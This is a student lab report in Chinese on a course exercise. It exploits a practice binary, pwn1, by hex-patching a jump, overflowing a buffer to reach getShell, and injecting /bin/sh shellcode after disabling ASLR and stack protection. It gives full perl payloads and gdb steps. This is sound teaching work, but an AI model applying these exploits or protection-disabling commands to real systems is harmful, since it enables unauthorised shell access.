20253911 2025-2026-2 《网络攻防实践》实践九报告

1 实验内容

1.1 实验要求

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

1.2 知识点梳理与总结

1.2.1基础程序运行逻辑知识

1.Linux 可执行文件基础:
pwn1 为 Linux 平台下 ELF 格式可执行文件,无需编译可直接在 Linux 环境运行,程序内部以函数调用为基本执行单元,拥有固定的代码段、指令执行流程。

2.程序函数调用机制 :
程序正常执行链路为main函数调用foo函数,属于典型的栈帧函数调用流程;函数调用时会保存返回地址,执行完函数后按返回地址回到原调用处继续执行。

3.隐藏代码片段原理 :
程序内置getShell函数片段,功能是调用系统接口获取终端 Shell 权限。正常程序指令流程不会跳转至该函数,属于未被常规执行的闲置代码段,本次实验核心目标就是劫持程序流程,强制执行getShell。

1.2.2 缓冲区溢出(BOF)漏洞知识点

1.栈缓冲区溢出原理:
foo 函数存在字符串回显逻辑,未对用户输入长度做边界校验,用户输入超长字符串时,会从缓冲区开始向上覆盖栈空间,最终覆盖函数栈帧中的返回地址。

2.BOF 攻击核心逻辑:
覆盖函数返回地址后,可将原有正常返回地址替换为getShell函数的内存地址,函数执行结束后不会回到 main 函数,而是直接跳转执行 getShell,实现漏洞利用。

3.Payload 构造基础:
Payload 是精心构造的攻击字符串,由填充字节、覆盖返回地址的目标函数地址组合而成,需精准计算缓冲区到返回地址的偏移量,才能精准篡改跳转地址。

1.2.3 Shellcode 注入基础知识点

1.Shellcode 概念
是一段精心编写的二进制机器指令代码,可独立实现调用系统 Shell、执行系统命令等功能。

2.注入运行原理
利用缓冲区溢出漏洞,将自制 Shellcode 注入程序栈内存空间,再通过篡改返回地址,让程序跳转至 Shellcode 所在内存地址,强制执行自定义恶意指令。

2 实验过程

2.1 手工修改可执行文件

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

先将pwn1拉到kali中

image

进入目标文件所在的文件夹,把pwn1改名为pwn20253911,把pwn20253911这个程序的汇编代码反汇编出来,并且分页显示,方便逐行查看。

objdump -d pwn20253911 | more

image

往下翻可以看到三个关键函数。getShell函数、foo函数和main函数。可以发现main 函数会主动调用foo,但程序里没有任何地方主动调用getShell。
漏洞点:foo 里的 gets() 函数导致栈溢出
攻击目标:利用栈溢出覆盖foo的返回地址,让程序执行完foo后,不回到main,而是跳转到getShell函数,从而拿到Shell。
确定getShell地址:0x0804847d

image

打开pwn20253911文件,显示乱码后使用指令改成以16进制的形式打开。

vim pwn20253911

%!xxd

image-20260506154050267

%!xxd使用指令改成以16进制的形式打开。

image

修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。找到需要修改的地方,将d7 改为 c3。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。

image
image

恢复再次把pwn20253911这个程序的汇编代码反汇编出来,发现确实已经修改。

objdump -d pwn20253911 | more

image-20260506154513888

运行pwn20253911程序,出现 /bin/sh,代表拿到shell,实验成功!

image

2.2 foo函数的Bof漏洞

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注意:先要还原原文件pwn20253911

使用命令sudo apt install gdb 安装gdb

image

查看程序信息。发现foo函数存在漏洞,超出部分将发生溢出,实验目标是覆盖返回地址。
缓冲区的起始地址是 ebp - 0x1c
返回地址的地址是 ebp + 4
两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节

objdump -d pwn20253911 | more

image-20260506155040052

使用gdb工具调试程序gdb pwn20253911。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535

image
image

输入字符串 1111111122222222333333334444444412345678,那 1234 这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。

image-20260506155449795

前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20253911zzy_input文件中。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20253911zzy_input
xxd 20253911zzy_input

image

将20253911zzy_input中的内容注入到pwn20253911中。输入常见指令测试是否拿到shell,成功!

(cat 20253911zzy_input; cat) | /home/kali/pwn20253911

image

2.3 注入自己制作的shellcode

(3)注入一个自己制作的shellcode并运行这段shellcode。

安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

设置pwn20253911程序堆栈可执行,并进一步查询是否设置成功。

execstack -s pwn20253911
execstack -q pwn20253911

image-20260506160249827

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭

more /proc/sys/kernel/randomize_va_space
sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image-20260506160452253

使用输出重定向将perl生成的字符串存储到input_20252804文件中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253911

image-20260506160629395

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20253911进程号为19680

#终端1
(cat input_20253911;cat) | ./pwn20253911
#终端2
ps -ef | grep pwn20253911

image-20260506161219065

再开一个终端对pwn20253911文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae

gdb pwn20253911
attach 19680
disassemble foo
break *0x080484ae

image

终端1按回车后,再终端2输入c 继续运行。查看栈顶指针所在的位置为0xffffcfac0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcfac + 4 = 0xffffcfb0,是0xffffcfb0。

info r esp
x/16x 0xffffcfac

image
image

退出gbd调试,重新构造 input_20253911文件。并输入常见指令测试是否拿到shell,成功!

perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253911
(cat input_20253911;cat) | ./pwn20253911
ls
whoami

image

3 总结与收获

本次实验围绕 pwn 可执行文件完成三项核心操作,首先通过重命名文件、objdump 反汇编定位 getShell 函数地址,利用 vim 十六进制编辑模式修改 call 指令机器码,直接篡改程序执行流程并成功获取 shell;其次还原文件后,借助 gdb 调试计算出 foo 函数缓冲区偏移量为 32 字节,构造包含填充字符与 getShell 地址的 Payload,利用缓冲区溢出漏洞覆盖函数返回地址,实现漏洞利用并拿到权限;最后安装 execstack 工具开启栈可执行、关闭系统地址随机化,编写包含 NOP 指令与 shellcode 的攻击载荷,通过 gdb 调试确定 shellcode 内存地址,重新构造输入文件完成注入,最终成功执行自定义 shellcode,完整掌握了二进制修改、缓冲区溢出利用与 shellcode 注入的全流程操作。

posted @ 2026-05-06 17:01  yan7752  阅读(21)  评论(0)    收藏  举报